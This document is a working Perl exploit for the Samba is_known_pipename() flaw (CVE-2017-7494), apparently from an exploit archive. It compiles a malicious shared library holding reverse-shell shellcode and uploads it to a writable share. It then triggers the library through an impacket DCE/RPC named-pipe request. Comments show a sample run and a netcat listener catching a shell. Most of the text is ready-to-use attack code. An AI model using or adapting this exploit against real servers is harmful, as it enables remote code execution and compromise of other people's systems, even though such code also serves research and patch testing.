Samba is_known_pipename() Code Execution

`#!/usr/bin/perl -w  
  
#Remote Samba is_known_pipename() ( 3.5.0 to 4.4.14, 4.5.10, and 4.6.4.) Exploit By N_A , N_A[at]tutanota.com  
  
#The orginal bug was discovered by steelo <knownsteelo[at]gmail.com>  
#CVE-2017-7494  
#https://www.samba.org/samba/security/CVE-2017-7494.html  
  
#Tested on Samba 4.5.8-Debian  
  
  
#Requirments for this exploit to run:  
  
#perl -MCPAN -e 'install Filesys::SmbClientParser'  
#git clone https://github.com/CoreSecurity/impacket and then install the package  
  
  
  
#How to use this exploit:  
  
#This exploit loads a hacked library file into a vulnerable samba server and provides a reverse shell. ( you will need to swap the shellcode )  
#A writable samba share is required or valid credentials to a samba share that allows write access to the share.  
#You need to know the server side location path of the writable share. For example if the share with write access is called 'blah' then you will  
#need to know the full server side path i.e '/home/billybobthornton/blah'  
#That is all. This exploit creates a hacked library file and loads it into the remote writable samba share and then uses the DCE/RPC protocol to   
#create a ncacn_np request to a named pipe ( the hacked library file ) and executes it.   
  
#The exploit uses the impacket library files by CoreSecurity to send the DCE/RPC packet. I have tried playing with Perl's DCE::Perl::RPC and did  
#not have much luck with this package. Its over 10 years old and i could not find any relevant documentation to aid me in creating a valid request  
#that would trigger a named pipe request.   
  
#If anyone knows an easier way to do this in Perl please contact me , even if its regarding wireshark captures of the DCE/RPC protocol.   
#Email me on N_A[at]tutanota.com, thank you :)  
  
  
  
#root@kali:~/exploits# perl NAsamba.pl -h 192.168.142.128 -s anonymous -l /home/NA/anonymous  
#[*]No Port Specified - Using Port 445 as default  
#[*]No user specified - Using 'nobody' as default user  
#[*]No password specified - Leaving password blank  
#[*]Using Host: 192.168.142.128 on port: 445  
#[*]Username: nobody  
#[*]Password:   
#[*]Attacking Share: anonymous on Host: 192.168.142.128 Port: 445  
#[*]Creating Pure Evil  
#[*]Evil File Created Successfully!  
#Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.8-Debian]  
#[*]Evil File transferred to Samba Server!  
#[*]Triggering exploit  
#[*]G0t r00t?  
  
  
  
  
#A terminal with a netcat listener set up on port 443  
  
#root@kali:~/exploits# nc -nlvp 443  
#listening on [any] 443 ...  
#connect to [192.168.142.140] from (UNKNOWN) [192.168.142.128] 36214  
#sh -i;  
#sh: 0: can't access tty; job control turned off  
#$ id   
#uid=65534(nobody) gid=0(root) egid=65534(nogroup) groups=65534(nogroup)  
#$   
  
  
  
  
  
#Greetz - Listen m0use i have been busy all week, didnt i tell i was working on stuff? Relax. R-E-L-A-X. Relaaaax.   
#Greetz to the Wu-tang clan and all killabeez ;P  
  
  
  
  
  
use POSIX;  
use Filesys::SmbClientParser;  
use strict;  
use warnings;   
use Getopt::Long qw(GetOptions);  
  
  
  
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.142.128 LPORT=443 -f c - change this to your own LHOST and LPORT to receive connection  
#And then replace the resultant shellcode below:  
#Note: Replace all double quotes " in the shellcode with single quotes ' before replacing shellcode.  
  
  
my $shellcode = '\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80'.  
'\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x8e\x80\x68'.  
'\x02\x00\x01\xbb\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1'.  
'\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3'.  
'\x52\x53\x89\xe1\xb0\x0b\xcd\x80';  
  
  
#These are our evil files  
my $evil_header ="#ifndef evil_h__\n"."#define evil_h__\n"."extern int samba_init_module(void);\n".'#endif';  
my $evil ="#include <stdio.h>\n".'int samba_init_module(void){ unsigned char shellcode[]='.'"'.$shellcode.'"'.";".'(*(void(*)()) shellcode)();return 0;}';  
  
my $evil_header_file = 'evil.h';  
my $evil_file = 'evil.c';  
  
  
  
  
#creating evil library , libevil.so  
sub create_evil()  
{  
  
open(my $fh, '>', $evil_file) or die "[*]Could not open evil.c";  
print $fh $evil;  
open($fh, '>', $evil_header_file) or die "[*]Could not open evil.h";  
print $fh $evil_header;  
close $fh;  
system("gcc -c -Wall -Werror -fpic evil.c");  
system("gcc -shared -o libevil.so evil.o");  
print "[*]Evil File Created Successfully!\n";  
}   
  
  
sub usage()  
{   
print "\n\n-=[*]Remote Samba is_known_pipename() Root Exploit[*]=-\n\n";   
print "\t\t-=By N_A=-\n\n";  
print "[*]Usage: $0 --host hostname --port port --user user --password pass --share writable-share --location /server/side/path\n\n";  
print "[*]$0 --host 127.0.0.1 --port 445 --user nobody --password pass --share temp --location /home/blah/temp\n";  
print "[*]$0 -h 127.0.0.1 -p 139 -u admin -pa adminpass -s stuff -l /var/samba/stuff\n\n";  
print "[*]Note: No username provided defaults to user name 'nobody'\n";  
print "[*]Note: No port provided defaults to port '445'\n";  
print "[*]Note: No password provided defaults to a blank password\n";  
exit;   
}  
  
  
my $host; #host to attack  
my $port; #port on host to attack , default is 445  
my $user; #username on host to use, default is nobody  
my $password; #password to use, default is left as blank  
my $share; #path to the writable share to use  
my $location; #this is the location on the server side of the share. We need this to access our libevil.so  
  
  
GetOptions('host|h=s' => \$host, 'port|p=s' => \$port,'user|u=s' => \$user, 'password|pa=s' => \$password, 'share|s=s' => \$share, 'location|l=s' => \$location,) or die usage();  
  
  
  
if(!$location)  
{  
  
usage();  
}  
  
if(!$host)  
{  
  
usage();  
}  
  
  
if(!$port)  
{  
print "[*]No Port Specified - Using Port 445 as default\n";  
$port = 445;  
}  
  
if(!$user)  
{  
print "[*]No user specified - Using 'nobody' as default user\n";  
$user = "nobody";  
}  
  
if(!$password)  
{  
print "[*]No password specified - Leaving password blank\n";  
$password = "";  
}  
  
  
if(!$share)  
{  
print "[*]Writable Share missing\n";  
usage();  
}  
  
  
my $smb = new Filesys::SmbClientParser  
(undef,  
(  
user => $user,  
password => $password  
));  
  
  
$smb->Host($host);  
  
print "[*]Using Host: $host on port: $port\n";  
print "[*]Username: $user\n";  
print "[*]Password: $password\n";  
print "[*]Attacking Share: $share on Host: $host Port: $port\n";  
print "[*]Creating Pure Evil\n";  
create_evil();  
  
$smb->Share($share); #Locating correct writable share  
  
$smb->put("libevil.so"); #transferring libevil.so to the writeable share  
print "[*]Evil File transferred to Samba Server!\n";  
print "[*]Triggering exploit\n";  
print "[*]G0t r00t?\n";  
  
#All should be well at this point. All thats left is to trigger the exploit.  
#A dirty hack below. There was not much documentation on DCE::Perl::RPC which is required to send requests to named pipes  
#Using impacket from the command line, via system() call.   
  
my $evil_lib = '/libevil.so';  
my $stringbind = "python -c 'from impacket.dcerpc.v5 import transport; st=\"$host\";stt=\"$location/libevil.so\";s=r\"ncacn_np:%s[\\pipe%s]\" % (st,stt); rpctrans = transport.DCERPCTransportFactory(s); dce = rpctrans.get_dce_rpc(); dce.connect();'";  
  
  
system("$stringbind"); #triggering exploit  
`